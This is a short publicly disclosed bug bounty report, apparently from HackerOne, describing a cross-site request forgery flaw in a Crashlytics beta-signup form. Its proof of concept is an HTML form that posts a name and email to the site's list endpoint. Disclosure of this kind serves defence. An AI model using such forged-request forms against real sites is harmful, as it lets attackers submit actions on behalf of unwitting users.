Open on HackerOneSign in

X / xAI · Report #13856

CSRF in crashlytics.com

Validstatus

1upvotes

8 Sept 2014disclosed

How it was found

Hello Sir

This is N B Sri Harsha

I Have Found An CSRF in http://try.crashlytics.com/

POC ;-

<form method="POST" action="http://try.crashlytics.com/list/" class="validatable" id="beta_form"> <input id="validate" class="clear validate validate-name validate-message" placeholder="your name" name="name" type="text"> <input id="validate" class="clear validate validate-message" placeholder="[email protected]" name="email" type="text"> <input name="sitereferral" value="" type="hidden"> <input value="" id="emailVerify" type="submit"> </form>

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original